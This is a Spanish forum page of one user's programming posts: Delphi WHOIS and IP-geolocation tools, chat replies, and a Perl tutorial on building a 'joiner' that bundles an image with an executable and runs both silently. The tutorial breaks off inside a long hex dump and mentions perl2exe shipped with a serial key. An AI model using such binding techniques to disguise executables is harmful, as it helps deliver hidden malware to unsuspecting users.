elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [24] 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ... 55
231  Programación / Programación General / Re: [Delphi] LocateIP 0.1 en: 12 Mayo 2013, 15:13 pm
no creo que sea dificil superarme.

parece que a softpedia le intereso este programa porque lo publicaron  aca.
232  Programación / Programación General / [Delphi] GetWhois 0.1 en: 5 Mayo 2013, 18:33 pm
Siempre habia querido hacer un programa para hacer un whois en delphi pero en ese entonces no conocia delphi lo suficiente como para poder hacerlo , hoy me tome unos 10 min libres y logre hacer uno , para hacerlo instale indy y escribi unas pocas lineas para hacerlo.

Una imagen :



El codigo (muy corto xD)

Código
  1. // GetWhois 0.1
  2. // Coded By Doddy H in the year 2013
  3.  
  4. unit whois;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager,
  11.  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdWhois, ComCtrls,
  12.  sStatusBar, jpeg, ExtCtrls;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    sSkinManager1: TsSkinManager;
  17.    sGroupBox1: TsGroupBox;
  18.    sLabel1: TsLabel;
  19.    sEdit1: TsEdit;
  20.    sButton1: TsButton;
  21.    sGroupBox2: TsGroupBox;
  22.    sMemo1: TsMemo;
  23.    IdWhois1: TIdWhois;
  24.    sStatusBar1: TsStatusBar;
  25.    Image1: TImage;
  26.    procedure sButton1Click(Sender: TObject);
  27.    procedure FormCreate(Sender: TObject);
  28.  private
  29.    { Private declarations }
  30.  public
  31.    { Public declarations }
  32.  end;
  33.  
  34. var
  35.  Form1: TForm1;
  36.  
  37. implementation
  38.  
  39. {$R *.dfm}
  40.  
  41. procedure TForm1.FormCreate(Sender: TObject);
  42. begin
  43.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  44.  sSkinManager1.SkinName := 'garnet';
  45.  sSkinManager1.Active := True;
  46. end;
  47.  
  48. procedure TForm1.sButton1Click(Sender: TObject);
  49. begin
  50.  
  51.  if sEdit1.text = '' then
  52.  begin
  53.    ShowMessage('Write the domain');
  54.  end
  55.  else
  56.  begin
  57.    sStatusBar1.Panels[0].text := '[+] Searching ...';
  58.    Form1.sStatusBar1.Update;
  59.  
  60.    sMemo1.Clear;
  61.    sMemo1.Lines.text := IdWhois1.whois(sEdit1.text);
  62.  
  63.    sStatusBar1.Panels[0].text := '';
  64.    Form1.sStatusBar1.Update;
  65.  end;
  66. end;
  67.  
  68. end.
  69.  
  70. // The End ?
  71.  

Si lo quieren bajar lo pueden hacer de aca.
233  Programación / Programación General / Re: [Delphi] LocateIP 0.1 en: 3 Mayo 2013, 19:07 pm
no le eh intentado con el API , pero usar indy me parece facil.

234  Programación / Programación General / [Delphi] LocateIP 0.1 en: 25 Abril 2013, 22:46 pm
Traduccion a Delphi de este programa para localizar una IP.

Una imagen :



El codigo :

Código
  1. // LocateIP 0.1
  2. // Coded By Doddy H in the year 2013
  3. // Based on the services :
  4. // To get IP -- http://whatismyipaddress.com/
  5. // To locate IP -- http://www.melissadata.com/
  6. // To get DNS -- http://www.ip-adress.com/
  7.  
  8. unit locateip;
  9.  
  10. interface
  11.  
  12. uses
  13.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.  Dialogs, sSkinManager, jpeg, ExtCtrls, StdCtrls, sLabel, sGroupBox, sButton,
  15.  sEdit, sListBox, ComCtrls, sStatusBar, IdBaseComponent, IdComponent,
  16.  IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx, IdMultipartFormData;
  17.  
  18. type
  19.  TForm1 = class(TForm)
  20.    sSkinManager1: TsSkinManager;
  21.    Image1: TImage;
  22.    sGroupBox1: TsGroupBox;
  23.    sLabel1: TsLabel;
  24.    sEdit1: TsEdit;
  25.    sButton1: TsButton;
  26.    sGroupBox2: TsGroupBox;
  27.    sLabel2: TsLabel;
  28.    sEdit2: TsEdit;
  29.    sLabel3: TsLabel;
  30.    sEdit3: TsEdit;
  31.    sLabel4: TsLabel;
  32.    sEdit4: TsEdit;
  33.    sGroupBox3: TsGroupBox;
  34.    sListBox1: TsListBox;
  35.    PerlRegEx1: TPerlRegEx;
  36.    IdHTTP1: TIdHTTP;
  37.    sStatusBar1: TsStatusBar;
  38.    procedure sButton1Click(Sender: TObject);
  39.    procedure FormCreate(Sender: TObject);
  40.  
  41.  private
  42.    { Private declarations }
  43.  public
  44.    { Public declarations }
  45.  end;
  46.  
  47. var
  48.  Form1: TForm1;
  49.  
  50. implementation
  51.  
  52. {$R *.dfm}
  53.  
  54. procedure TForm1.FormCreate(Sender: TObject);
  55. begin
  56.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  57.  sSkinManager1.SkinName := 'matrix';
  58.  sSkinManager1.Active := True;
  59. end;
  60.  
  61. procedure TForm1.sButton1Click(Sender: TObject);
  62. var
  63.  rta: string;
  64.  z: integer;
  65.  par: TIdMultiPartFormDataStream;
  66. begin
  67.  
  68.  if sEdit1.text = '' then
  69.  begin
  70.    ShowMessage('Write the target');
  71.  end
  72.  else
  73.  begin
  74.    sStatusBar1.Panels[0].text := '[+] Getting IP ...';
  75.    Form1.sStatusBar1.Update;
  76.  
  77.    par := TIdMultiPartFormDataStream.Create;
  78.    par.AddFormField('DOMAINNAME', sEdit1.text);
  79.  
  80.    rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);
  81.  
  82.    PerlRegEx1.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
  83.    PerlRegEx1.Subject := rta;
  84.  
  85.    if PerlRegEx1.Match then
  86.    begin
  87.      sEdit1.text := PerlRegEx1.SubExpressions[2];
  88.  
  89.      // Locating ...
  90.  
  91.      sStatusBar1.Panels[0].text := '[+] Locating ...';
  92.      Form1.sStatusBar1.Update;
  93.  
  94.      rta := IdHTTP1.Get(
  95.        'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
  96.          sEdit1.text);
  97.  
  98.      PerlRegEx1.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  99.      PerlRegEx1.Subject := rta;
  100.  
  101.      if PerlRegEx1.Match then
  102.      begin
  103.        sEdit2.text := PerlRegEx1.SubExpressions[2];
  104.      end
  105.      else
  106.      begin
  107.        sEdit2.text := 'Not Found';
  108.      end;
  109.  
  110.      PerlRegEx1.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  111.      PerlRegEx1.Subject := rta;
  112.  
  113.      if PerlRegEx1.Match then
  114.      begin
  115.        sEdit3.text := PerlRegEx1.SubExpressions[2];
  116.      end
  117.      else
  118.      begin
  119.        sEdit3.text := 'Not Found';
  120.      end;
  121.  
  122.      PerlRegEx1.Regex :=
  123.        'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  124.      PerlRegEx1.Subject := rta;
  125.  
  126.      if PerlRegEx1.Match then
  127.      begin
  128.        sEdit4.text := PerlRegEx1.SubExpressions[2];
  129.      end
  130.      else
  131.      begin
  132.        sEdit4.text := 'Not Found';
  133.      end;
  134.  
  135.      //
  136.  
  137.      // Get DNS
  138.  
  139.      sStatusBar1.Panels[0].text := '[+] Getting DNS ...';
  140.      Form1.sStatusBar1.Update;
  141.  
  142.      sListBox1.Items.Clear;
  143.  
  144.      rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + sEdit1.text);
  145.  
  146.      PerlRegEx1.Regex := 'whois\/(.*?)\">Whois';
  147.      PerlRegEx1.Subject := rta;
  148.  
  149.      while PerlRegEx1.MatchAgain do
  150.      begin
  151.        for z := 1 to PerlRegEx1.SubExpressionCount do
  152.          sListBox1.Items.Add(PerlRegEx1.SubExpressions[z]);
  153.      end;
  154.  
  155.      //
  156.  
  157.    end
  158.    else
  159.    begin
  160.      sStatusBar1.Panels[0].text := '[-] Error';
  161.      Form1.sStatusBar1.Update;
  162.    end;
  163.  
  164.    sStatusBar1.Panels[0].text := '';
  165.    Form1.sStatusBar1.Update;
  166.  
  167.  end;
  168. end;
  169.  
  170. end.
  171.  
  172. // The End ?
  173.  

Si lo quieren bajar lo pueden hacer de aca.

235  Programación / Java / Re: [Java] Diccionario Online 0.1 en: 8 Abril 2013, 17:42 pm
tenes toda la razon EleKtro H@cker , parece que $Edu$ ya tiene un problema personal conmigo xDD.
236  Programación / Java / Re: [Java] Diccionario Online 0.1 en: 8 Abril 2013, 01:19 am
Podrias crear una aplicacion para localizar todos tus codigos posteados aca en el foro y guardarlos en documentos de texto o como tu quieras.

Seguramente los tienes ya guardados, pero tener un programa que lleves en tu pendrive que te cargue solo el titulo de cada codigo que tienes aqui, o que tengas para escribir el codigo a buscar y te lo encuentre, estaria bueno, por lo menos para ti xD

ajaja , tremendo troll , pero no te preocupes los codigos que importan estan en esta cuenta de Pastebin y en esta de Sourceforge.
237  Programación / Java / Re: [Java] Diccionario Online 0.1 en: 8 Abril 2013, 00:23 am
Yo lo veo mas como SPAM de sus propios codigos xD
Lo unico que hace es publicar codigos que hace en los lenguajes que sabe. El mismo programa en 4 o 5 lenguajes distintos jajaja.
Es como si fuera un bot que le han encargado hacer codigos jajajaja.

tampoco es spam , en realidad no puedo evitar programar en cualquiera de los lenguajes que conozco , mas bien es una adiccion xDD.

Eso no es un diccionario: eso es la suerte que has tenido que las palabras estén distribuidas bien. Yo no estaría tan orgulloso, eso lo puedes hacer hasta con batch.

este programa lo hice para empezar y entender un poco java.
238  Programación / Scripting / [Perl] Project DH Joiner 0.5 en: 31 Marzo 2013, 23:53 pm
Un simple Joiner hecho en Perl.

Una imagen del generador :



Pueden bajar el programa desde aca.
239  Programación / Scripting / [Perl] Creacion de un Joiner en Perl en: 15 Marzo 2013, 16:12 pm
[Guia] : Creacion de un Joiner en Perl
[Autor] : Doddy Hackman

-- == Indice == --

0x01 : Presentacion
0x02 : Desarrollo
0x03 : Compilacion
0x04 : Herramientas y Codigos finales

-- == ------ == --

0x01 : Presentacion

Ok , esta es una guia corta sobre como hacer un joiner en perl , la idea original se me ocurrio cuando lei este tutorial hecho por hecky neobits , la idea seria hacer lo mismo o algo parecido como esa guia que mostre , creo que esto es lo que me faltaba hacer en perl , bue , todavia me faltan un monton pero bue.

Cabe aclarar que nunca que hice un joiner porque lo que hare al estilo del manual que mostre.

Comencemos .........

0x02 : Desarrollo

Lo primero que necesitamos es bajar el archivo "joiner_manual.rar" de aca , una vez bajado lo descomprimimos y vemos que tenemos el instalador activeperl 5.8 con perl2exe + serial incluido , tambien veran los archivos "coraje.jpg" y "holamundo.exe" que seran los archivos que usaremos en el joiner ahora la idea es conseguir los bytes de los archivos que queremos poner en el joiner en este caso los archivos seran "coraje.jpg" y "holamundo.exe" , para eso pueden usar la herramienta hexnow.pl que esta en la parte "Codigos finales"

Solo con este comando :

Código
  1. perl hexnow.pl -hex coraje.jpg
  2.  

Con esto creamos un archivo de texto con los bytes de coraje.jpg , lo mismo hacemos con holamundo.exe de la siguiente manera :

Código
  1. perl hexnow.pl -hex holamundo.exe
  2.  

Una vez que conocemos los bytes de cada uno podemos empezar a codear el archivo joiner.pl :

Primero llamamos a los modulos necesarios de la siguiente manera :

Código
  1. use Win32::Job;   #Modulo necesario para cargar comandos de forma silenciosa
  2. use threads;      #Modulo necesario para cargar los dos archivos al mismo tiempo
  3.  

Despues usamos los bytes de la siguiente forma :

Código
  1. my $nombre_uno =
  2.  "coraje_uno.jpg";    #Nombre que va a tener el archivo cuando se cree
  3. my $nombre_dos = "holamundo_dos.exe";    # Lo mismo
  4.  
  5. my $valor_uno =
  6. "ffd8ffe000104a46494600010101006000600000fffe001c536f6674776172653a204d6963726f736f6674204f6666696365ffdb0043000a07070807060a0808080b0a0a0b0e18100e0d0d0e1d15161118231f2524221f2221262b372f26293429212230413134393b3e3e3e252e4449433c48373d3e3bffdb0043010a0b0b0e0d0e1c10101c3b2822283b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3bffc0001108012f010c03012200021101031101ffc4001c0001000300030101000000000000000000000506070103040208ffc4004910000104010203050602040c0405050000010002030405061112213107134151611422718191a132b1154252c11623243343627292a2d1e1f0173453c2358293b2f154555663d2ffc4001a010100030101010000000000000000000000010203040506ffc4002e1101000202010302030802030000000000000102031121041231324113229105142342516171b181a1c1e1f0ffdd00040028ffda000c03010002110311003f00d99111011110117cbded634b9ee0d681b924ec028abbab34f6377f6ccdd184b76ddaeb0de21bfa6fba0974545bbdb268ca80f75767b8edbf0c15ddcffbdb05053f6d562c9e1c4696b32f9496250c1d7c80fdea26623994c566de21aba2c3323da46b199a5d63258ec3467f561883dfb6dfd6dfeca0e3ed4f51e32e366ad9d9f20d07de8edc2deede3ec47cb654ae4ada785ed8ed58ddb87e8f4550d0dda1e335a562c60f65c8443792abddb923f69a7c47e5e2adeb466222202222022220222202228ecde7b19a771efbf95b4caf037a171e6f3e4d1d49f40824542e7757e034d309cae4a181fb6e21078a43f068e6b25cff006bf6f3b23ebe36e1c1d2dc832005d6251f103667cb9faaaa4394d3d55ee9819279c9ddd2c8d2f7b8f9ee563932f6f1159996d8f177733688869591ed96cd9ddba734ecd334fe19eebb81a7ff0028ebcffaca02deaed7d9327bccc57c7464efddd4846e39f99dcfdd55e5d6555bbf755657f97110dff35e19f595a77282b471fab89715cd37eaade2ba74c53a5a7aadb59258331706d7f5465ec0278b87da5c1bbf981b90147dec5629803f257a691e07274f6097155ab19fc9d9043edbc34f833ddfc9785ac96c4c18c6be591e79000b892ad5c39e7d77fa22d9f047a29f54fcd99a545a23c658c81e03ee96d97b1a3d40ebf92f769dd6fae9f9682a62f2f76e4f349b3219dc670ef8f1efb0dbe9d57b34d763fa973a592db8862eabbabec8f7c8f4675faecb6cd25a130ba3abed421ef2cbda04b6a5e6f7fc3f647a05d75af6c6b6e4bdfba77ad2c31779dd33bde1ef3847170f4dfc76f45f688aca08888322c9f6f104571f5f1d847bc35e5bde5a9bbbdf6f368076f995d47b5ed4b6cb4d0c3e280f1e2b264fc88d94aebeec86bea0b12e570924752fbfde92270da298f9f2fc2e3e7d0fdd62b99d359bd3964c394c7cf55c3a3c8dd8ef838723f555b45a7d32b566b1ea869b675febeb25c2297174dae3c8c711716ff7b75153e575bdd27da7564f102ee2dab8e0ff00dbb7d1670cb96a31b4762560feabc847ddb520d9f66570f22f256134cf3f9a3e8de2f823f24fd572b787f68777994ce5bb07ce69bc0fc495e3756d2f477e391b33bcb8cbff002e4aa8e739c777389f895c28f8179f55e7fa5be3d23d348fed677ea4c6d40463f1ad07f69cd0dfc9475bd4b92b5b813085be510dbefd5448049d80dc9561c2681d4fa8385d43133774efe9a51ddb3eaeebf2dd5ebd3e3af3adff003cb3b75192dc6f5fc2bef7b9ee2e7b8b89ea49dd7a6a632fde8679aa539e78eb338e67c719708dbe648e8b65d37d84d4aee6cfa8af7b53873f67adbb59f371e67e5b2d4e86328e2ea36a50a90d6aed1b08e36068ff0055bb07e43a772ce3ee456e9ccf82785c1d1c8c3b1695fa4fb3ad7f5f59e2fbb9dcc8b2b5dbfca210360e1bec1edf4e9bf91f9285d79d9052cd89323816c74f207de7c3d2298ffda7ec7c7cd62d8fbd97d1ba8d96236c956f539367c4f046fe6d70f10507eb64513a675152d5382832b48fb928d9f193b98de3ab4fa8ff00252c808baacd986a40f9ec48d8e3634b9ce71d80006e5615a33b57bf57534d5f256e3388b766494bac924d70e25dee9037f96df441bd22a9ff00c50d13ff00dfe0fee3ff00fe57b2aebdd277783b8d4140979d9ad7cc187e8ed8a0f8d6dac2a68cc21bd38124f238320837e723bc7e4073ff00e54e52b906428c172b3c3e19e36c91b87882370b30ed8f49bb5062a1d478b90587d28c8958c7f10745d789bf0ebf03e8a17b24ed22be2eb7f07f3965b15666eea961e7933c4b09f01e23e63c906b5a8f51e3b4be224c964a5e08d9c98c1f8a477835a3c4afce19dce6a0ed1f5182d8259e43b8af4e105cd89be9fbc953b96b999ed835a8a98e6ba3a1012220ff00c1047e323bd4f97c02dab4a68ec4690c78ad8e8077ae03beb0f1bc929f53e03d07241f9faef659ad28825f8496668db9c0f6c9f60775e2fe00eaefff001cc8ff00e8397eac441f98eaf64fad6d6db619d102ddc1965637f7efba9ea1d83ea29c8376fd1aad3b6fc25d2387cb603eeb7e4419862fb09d3f54b5f91bd6ef38756822261fa73fbabd61f4ce0f00ddb158bad5491b17b19ef1f8b8f32a551011110111101111017c4b0c53c6629a3648c7756bda083f22bed1054f23d97e8dc9b9cf970b0c4f77575773a2f1dfa3481f65073f617a4e473dd1cd91878ba06ccd21bf56eff75a4220cc61ec1f4cb37ef6f64a4f2da46376ff000a92a9d8ce8babc3de529ec96efb99ac3bdef8f0ecaf88821f19a4b4f618838ec3d481c06dc62205dfde3cfeea61110111101523b47ecfabeb0c61b15238e2cbc0378653cbbd1fb0e3f91f03e9baba4b2c7042f9a691b1c71b4b9ef79d8340e6493e016479ad699ad7b929b09a4a4752c5c476b1913b873c7f57c403b1d8753e3b0dd1311333a87fffd0a9f675ad2e689cbdba53d3b36629c163a9c6df7c4cde4391e9e20ffa2d08e5bb41d45b3b8eb69ba8ee8d6b7bd9c83e7bf21f62bd1a7749e2b4d41c34e1e29c8f7ec49b17bbe7e03d028dd5baf2a605aea5476b9947fbad899ef08cf8716de3e9d54e9d5186b58dde54bed160a58d11d2932377299590f1cb35ab05fdd37c006f404fe5bf985eaecf7198ca179f5350e3cc590b6c6beab6e41ee3e3237f777e5b9fddf1565d05d9759b7786a5d5e1cfb2f7f7b1d4939927c1d27ee6f86dcfc968baa74c51d55877d1b6d0d907bd5e703de824f0703fbbc5431ef88b6e210a29540361561007ff00ac2f3dac1e22e8dad632a4db8db77c2d276f8eca334ae52ecbed784cc0232b8b7f77313fd2b7f55e3e23f71f156256775662d1b50339a4e8bf3b8dc060993529b26f71b62099c18201f8c96efb7c3c39297d51d87636ff00f1fa7ec0c7ca1a01825ddd1388f1dfab4fd54a68b8064b5ee7b2cf00b68b23a301db90fd67fcf7dbeaaf966cc14eb4966d4d1c10c4de27c923835ad1e649e8aae0c931369d314d3d80ed23b3a7d9763f0f53215a520ca18e6b8bb6076db987fcba2b7698ed2f29a8ebfb445a3ee490890c6e92ad88de1ae1b7221dc3b75579a190a794a8cb742d4566bc9f86589e1cd3f30b3e89bfc09ed6bb90eeef15a9da5cd6feab2c83fbc9ff0018f24517ec7dcb56dae363193d1dba099f1b89fee39cbd888808888088880888808888088880888808888088b8dd0728888088bc19cc9c785c1ddc9cbb16d481f2edbfe2206e07ccf2419b76939abba9b3f1e84c349c11f2932338e61a391e13e8391f524053b8bc4d5c1e2d9471d035ac8c720e3b17bbc4b8edd4f9aaef6758a922c4cb9cba0bafe5a474f23ddd7849247d7727e615c15a1dd869db1b952b5a8d47160ee5d765e0a156166e23ab1b8be424800179208e67a80ae5a2bb3ec369aa35ad9a6d972af89ae9eccc78dc1e46eee1f06f3dfa73f52a035931b62be2293da5d1dccb5685fb750d2edcfe4b4e512c33fa9cae170f77046e7904f08df6039ac1f45eb1a2ccacd91bb2caed41772f1b1bcdc43ebbc869675db66efbec7c9bd7650c178ed028b70d9dc66ae8470b43c53bfb7eb46fe4d71f81fdca554aeadc58cce93c9e3c804cd59e19bfed01bb7ee02a9e93c83b29a5b1d71ff8df080f3e65bee93f50a61d7d3dbcc3d7d9680fc7672770de493336039de607080babb699678fb3c9c425c1b25889b2ec3f577df9f97301767652f69c4e6d81c0b9b9ab3b8df98df855ab3b85a7a870d67157d85d5ecb785dc2762d3bee08f50403f250e59f2a4f64faa1fa9a5cbbc57f668608eab5b1076e03846e6b9c3978f037e817afb5fa52bf47b32b57716b116a3b51b8751cf84fe60f87e152ba2343d1d1142c57ab3c9664b3207cb348d009d86c06c3c06e7ea57a75bc0db3a1b391b99c7fc826701fd60c247dc0442531f71991c6d5bd16dc166164add8efc9c011cfe6bd2ab3d9c5af6cecf70b29938f86b08f7fec12ddbe5c3b7c95990111105533faf20c3e59d89a58bb995bb146249e3ac06d0b4f4e227c4f928e1da6b72ec8a0d338c92e5b7378ac0b44c31d4e7b6cf3b1dddc8f21f151b6dffa0fb4ac9576f0da6e5d8db0d111e27c0e6b76da403f0b4f8150fa6b506524c96484b8c0e01ae9a48a08831fc6361b73ea4ede3cd695c736acda3d9bd31d66226656ec16b6ca0d4b0e9fd4b4aac362db1cfab629b9c62936dc9690ee6080af0b3ed198419ec941acf23621964631d1d3ab0925b5ba877193d64e641e436fa2d0566cadadf022222a22220222202222084d656f214348652d62da4dc8abb9d1edd47991ea06e7e4b36c2e060ab82ad9fc666678727244d99d725b04b2579e65af04ec5bbee0f8abdeb9d4b674fd3a30526c62de4ac8ad14b30de38b7eae3e7e8151b37a560a9a7bb86e5190bbda0cef758708e37bddd7668e4df4002bd2226da99d436c55dee6612190cfeb5cd6224c957b10e023ad197b606b44cf98b46e4971e41a76e402bb68cccd8d41a471d95b7188e7b116f20036048246e3d0edbfcd67789c465b2763f817dfb6b54ad1096e590fde49a2713eec43c06fb827ff0085acd3a9050a70d3ad188e0818238d83a35a06c028b4444ea15bc5638877aa7f6acf737b3cc8b1b2b6274ce862e271d86ce95a0fdb7523ac756d2d1f8575fb23bd95c782081a7674aff2f8799540a581ca6ac9d999d6733a4e2f7a0c6025b1423c371e7e87e7e4aa8a526d3a84de2b3185960869e3af433b6163636b623c5b00001d3a782965d705786ac2d86bc4c8a36f20c634003e41762b3d18deb943e71c1994d385ce01bfa6221cfccb5fb2d1565bae241571d8ec8bf7e0c7e4ebd978f46bb63b9f0eab51041008e8544b8b3fac589d4ec8b2d53b4a8ac32368c3436c59658e31bf08771066dbefbefb0fbadb5143070407348237079105659a01bdd69e96a96f0beadd9e27b7c010f276fbad4d65ba15fdfe33216c02196b27625603d762eff4530df07ad23d9fcdec5ac753e21e7632cb1dd886c39b5c3671f91e10b4259666ac1d39ac30fa9f70dac4fb15d27a08de7dd71f4079fd16a4d7073439a41046e08f150a64af6de61ca8bd4f38ada532f3b9bc422a333c8f3d984a94552ed3f2acc5681c992eda4b71fb2c6ddb72e2fe447f7788fc919ba3b2d96bd3ece3110cd6a16bf81ef20bc0db8a47387d8ab7c7660989114d1c8475e1703b2c9297663a7050ae2d5391f63ba6f7aeef9e3776dccec0edd5754bd94e19a78e95dbf51fd4164a0ede5e1e1f153a6ff02effd1d9553339a9ede4ec4d88d35331bdd92cb7923ef3603e2d67ed3fec3e2a957703afe8e3a7a58cd5325dad33380c73bb69003d4071df6fa8ea555b0b67258989ba4f3af930d42dd8de6b723482d66def35a40db9ec39f4e7e48d3b3b67e685e303566c8d99f1da4fdd8daffe5f9bb20c85eff10ddff1bbc7c82f6495b39a3af59ab251c9e7a8cc4495edc4049287100163c780dfa1e9cd5f7035b17530d5abe17b93458cda230b839a479ee3a9f32a414ecf896dee152ecef0f91c5e2aed8c943ecd364ae3ed0abbefdcb5db6c0faf2e6adc88a198888808888088880888822f5069dc66a7c69a195afdec3c41ed20f0b98e1e208e855725ecaf4f370d72ab229acd99abba28ecdb98caf8cedee96efc86c76e80745774418c63b333d3c7e1752c81cc9f1331a194691b9eef70c7efe7b1e177cd6cac7b5ed0e690e6b86e08e842cb3298a8eb6b6cf6024d9b573b57dae2e5f85e776bfefcd59fb38ccc992d150b6c9dede34baa4e3a1e28f90ff0ec8d2fcc4594ebdbeb4ed52d4b31126374fed144cea1d2f89fef03fdd0acb94cbd4c457efad39c4bb93238d85ef90f935a39955cecd1a25d3d63224b8c97ae4b33cb8ee7aedd7c7e3eaadfb0df7db9f9ab43af15754e14cb9da1cd49bdfcba5b2b1d4e5bcf2c7c1cbcf6e9f752782d7183cfc8d820b0e82cbba4138e171f8781f91503da2645f7ed43a6ebc858c2cefedb9a7c3f51bf5e7f45dda5a862f56695860c9d66baee3ddecef95beecac2dfc243873e9b7d146f95bb7247cded2b36a4c71cb69cbf41ade27cd0b8307f58736fdc053da0b3835068cc75d2ede66c4229c13b91233dd76ff1db7f9a8ba15e6ab4d95e7b26cba31c22570d9ce1e1c5e67ccf8f5505a7722cd13ae6ce2ad3bbac5671fdfd691c766473feb377f5e5fe14963d45771166a68b85ca8723c39ac8331584bb9090ecdad03e43b7a02566fd9bb641a2aa3e5fc523e47efe7bbcf35cf6ddaae3a7866e9caf20759b843e700f36460ee01f891f4057bf48d5f63d258b876d88acd7100efcdc388fe6a61d1d3c7ccf7e4b1f5f2b8e9e85a6f1433b0b1de63d47a8505a53b401a5ec7f05356cae89d57ddab79c376c91fea876dd3978fa6c7a2b3aafeaed255755506b1ee10da87730cdb6fb79823c41532df2e3ef8dc795cec6b1d355689bb2e728f7006fc4d9dae27e001dcfc9659633763b4fd6d59d044f8f038893bd1c43f9c70e84fa9dba780dd57dda53198e94333d83cbc2e6edfc6d0709a093edc437f2dfe8ad588ad632d522c763f112e1302c3c529986d35a1fb3b7500f8bb7e6392873d31f3cae8c7b64635ec3bb5c0107cc2fa5c0000d80d804739ac69739c1ad037249d8052ee72ba6d54ad7abbabdb8239e2775648d0e07e454364b5ce9bc592d9b2714b20fd483f8c3bf97bbc87cd41cdda5be676d8bd3f6e71bf27cee1137f7a89b56be655ee89e1ec3a5729a6ec3afe8cc8bea92789f8f9ddc50cbe9cfa7fbe615a34bf68d532d686273301c466072f6798fbb2fab1de3f0fa6eb3d9756eb1b5b7750e3e8b7d417bbf32144e52965f3c1832f971308ddc4c0cacc696fc1c39ae6b75586bf9995ba6b5f9ad65fa3117e7795f7e85574b63546684718f0baf1b7a01baba762daa725996e5285fb53da8aaf03e092c3f89ed6b8bb705dd4f41d55f166ae5e6ae7cb86d8bd4d51171b82a36de5f86d9a18f87db2e0d8bda1dc2c841e864773e1f41b127cb6e6b5629345e6a70da8da5d6ec89a4778319c0c6fa01ccfd495e94044440444404444141ed3a3f61b180d42de5ec5744331f28e41b1fc87d578b4bcc30fda0e73124964394ac2ec0de7b178e4fdbd4f33f256ad7b8dfd2da1f2d503777fb3ba4672fd667bc3ee166993cbcb5b1da5b59d784d892b6d1cd1b4edc6d7b785c371ea08f9a34af34984cf673c3fc05c770edd1fbede7c6e561b5622a7526b333b8628585ef3e400dcaaf680867ada68c1660f679a3b3287c3ff4cf16fb7dd74768d79d16023c744eda5c8ccd87e0ceae3f603e6adeceea6fb235e54ca32cd7e6b597b3bf7f7e53273fd56746b7e417b70d931a6f5232ec87868df021b5cf931dfa8ffdc7d095f0c63638dac60d9ad0001e8be67863b10be195bc4c78d8858ef9dbea6fd0d6dd2c618f31e3f96b0a333f82a9a8b15250b6360ee6c900f7a3778387fbe8ab5a1f51be37b74e64e4de789bbd499c7f9e8c746ff687e43d15e16de5f336acf35b472a457ed0755683e1a1a9681cb536f28af46e21c47802e23627d0ec7d4ae2ef6df90c9ed4b4d601e6d48366be577785a7d18d1f7276f4566c9c3982eef3193d4783c9f5edb0f09f839bcc7cc1eaa048d6a5a6bd1c5623181e7de983f8f6f5000ebf105469c76c3112a6653037a5bb5a964ec7b66a1ccccd7d87177118211cfe479787201bb0e4b608a36c30b2260d9ac686b47a0501a6f48c585b12e42e597643293ff396641f87cc37c82b12986f8e9da222235178f2796c7e1aa9b391b71d788742f3cdc7c80ea4fa0558d47aec55b9262b0ac8e7bac3c32cd29da380ff00dc7d153cfb158b46ee5b2915fb7e2f9a56f0b7d1addf60161973d71fef28aeed3f2ac377b45bf90263d3b8c219d3daed8d9bf10d07f7fc9424f43219621f9dcb58ba77dfb96bb8221f21fbb65c499fc542de76d879720c04fe4a3aceb1ab1ee2b4124a7cdc7842e0b65eab2f15aea1a76e0a737b6fff007e89aad8fa74c0f67ad1c647eb06f3faf54b791a945bbd99d8c3d4377ddc7e5d5532dea6c95b25ac9040c3fab1723f5eabb31ba72e641fdf592e8613ccb9ff0089df01fbcaa7dd351dd9ac7deb73db86ab051cdbf2973baa75c8819ce4964fc800a5279e2ad0ba699e191b06e5c543cd97c560ebfb356da4737f5233bf3f52aad93cbdaca4bc533b660fc31b7a0515e97e2db711db5ff69bf5318aba99ddbfd3bb379a932b36c3765761f719e7ea7d55ebb36d275327829aee43da1d1cb316b6364ef8daf006db90d237e64f8acd2189f3ccc862697c923835ad039927a2de6861f2b86af83c7e3a48994abb5dede1c0173c91bf23fda27a7a2f5e948a476c7879f499c979b5b9792ee94b3886473e93c864285aef1ac6c6db25d0004f32f6bb7dc01b9f1e654be83d6146ae3ec6132b09a997a32113b18d74afb8e3cccad0017bc9ea791ea3c0803d74f2b4afdab75ab4dde4b49e239dbb11c24ffb3f455ac74229f6e74194f88367a523ad7bc5dbee243cc9df6e619f60ad29cd4ac4774348873766c480334fe4c4647295fdcb07c385d2077d9494523a489af744f89c7ab1e46e3e848fbafb5ca872888883ffd2d99111011170e7358d2e7101a06e49f04117a933b434e60ec64722efe2636ec180fbd238f468f52b32d318c19aecf5d8ab4d35f696460611b98487f1346de9c97adf71dda06ac75f773c0e1e42da8df0b130eaf3e60787cbccab1d7a915692c3e3df7b12f7afdff6b8437f268530eac18e7d52ec6451c6e7b98d0d323b89e4789d80dfe807d1677abecfb76b46c00eecc756008f291fccff008765a3ac944fedb96cade278bbfb8f0d3bf5637dd6fd828b787add0e3efea2b1fa73f4ff00b772222c9f58f35ea62dc6de1798a689c1f14adeac70e842ba691d